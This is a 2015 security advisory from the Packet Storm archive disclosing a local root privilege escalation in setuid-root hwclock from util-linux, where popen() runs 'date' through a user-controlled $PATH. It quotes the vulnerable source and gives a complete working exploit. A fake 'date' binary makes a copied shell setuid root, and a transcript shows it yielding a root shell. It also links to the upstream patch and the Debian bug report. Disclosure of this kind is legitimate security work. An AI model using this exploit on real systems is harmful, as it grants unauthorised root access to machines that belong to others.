what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

hwclock Privilege Escalation

hwclock Privilege Escalation
Posted May 27, 2015
Authored by Federico Bento

hwclock on Linux, when setuid, allows for local root-level privilege escalation.

tags | exploit, local, root
systems | linux
SHA-256 | 4246d26ca5258f5c8cc8caae6c6deb68ddb424b7c5857ee3b48514365d5cf9e1

hwclock Privilege Escalation

Change Mirror Download
Hello,

During a recent assessment I have stumbled across a system which had
hwclock(8) setuid root

hwclock is a part of util-linux, all versions affected

$ man hwclock | sed -n '223,231p'

Users access and setuid
Sometimes, you need to install hwclock setuid root. If you
want users other than the superuser to be able to display the clock
value using the direct ISA I/O
method, install it setuid root. If you have the /dev/rtc
interface on your system or are on a non-ISA system, there's probably
no need for users to use the
direct ISA I/O method, so don't bother.

In any case, hwclock will not allow you to set anything unless
you have the superuser real uid. (This is restriction is not
necessary if you haven't
installed setuid root, but it's there for now).

https://sources.debian.net/src/util-linux/2.26.2-5/sys-utils/hwclock.c/#L2041

"The program is designed to run setuid superuser, since we need to be able
to do direct I/O. (More to the point: we need permission to execute the
iopl() system call). (However, if you use one of the methods other than
direct ISA I/O to access the clock, no setuid is required)."

https://sources.debian.net/src/util-linux/2.26.2-5/sys-utils/hwclock.c/#L1920

"program is designed to run setuid (in some situations)"


Some comments in code and unfortunately also man page
advertising that setuid is no problem. That's pretty stupid promise.


from util-linux/2.26.2-5/sys-utils/hwclock.c
https://sources.debian.net/src/util-linux/2.26.2-5/sys-utils/hwclock.c/#L748


/* Quotes in date_opt would ruin the date command we construct. */
if (strchr(date_opt, '"') != NULL) {
warnx(_
("The value of the --date option is not a valid date.\n"
"In particular, it contains quotation marks."));
return 12;
}

sprintf(date_command, "date --date=\"%s\" +seconds-into-epoch=%%s",
date_opt);
[...]

date_child_fp = popen(date_command, "r");

[...]

hwclock uses popen() to date_command which is 'date --date=\"%s\"
+seconds-into-epoch=%%s'

Exploiting is trivial, since $PATH is user-controlled



$ ls -l /usr/sbin/hwclock
-rwsr-sr-x. 1 root root 48096 Nov 27 14:10 /usr/sbin/hwclock
$ cat > date.c;gcc date.c -o date
main()
{
chown("/tmp/sploit", 0, 0);
chmod("/tmp/sploit", 04755);
}
^D
$ cp /bin/sh /tmp/sploit
$ PATH=".:$PATH" /usr/sbin/hwclock --set --date="05/23/2015 20:35:37"
hwclock: The date command issued by hwclock returned unexpected results.
The command was:
date --date="05/23/2015 20:35:37" +seconds-into-epoch=%s
The response was:

hwclock: No usable set-to time. Cannot set clock.
$ /tmp/sploit
# id
euid=0(root) groups=0(root)


*Insert CVE Request here*


Notes:

Please note that this is possible on Debian-derived (and therefore Ubuntu),
because /bin/sh is provided by dash which does NOT make use
of privmode (does not drop privileges if ruid != euid, unlike bash),
which is a very stupid idea.

privmode is surprisingly effective at mitigating some common vulnerability
classes and misconfigurations, and it has been around since mid 90's.
Indeed, Chet Ramey (bash author and maintainer) explains that the
purpose of this is to prevent "bogus system(3)/popen(3) calls in
setuid executables"


TL;DR: When setuid root, hwclock relies on $PATH to popen() the date
command, meaning privilege escalation can occur since $PATH is
user-controlled.


Patches are available, signed off by Karel Zak <kzak@redhat.com>
https://github.com/karelzak/util-linux/commit/687cc5d58942b24a9f4013c68876d8cbea907ab1

Initial bug report:
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=786804


Thanks,
Federico Bento.

----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.



Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close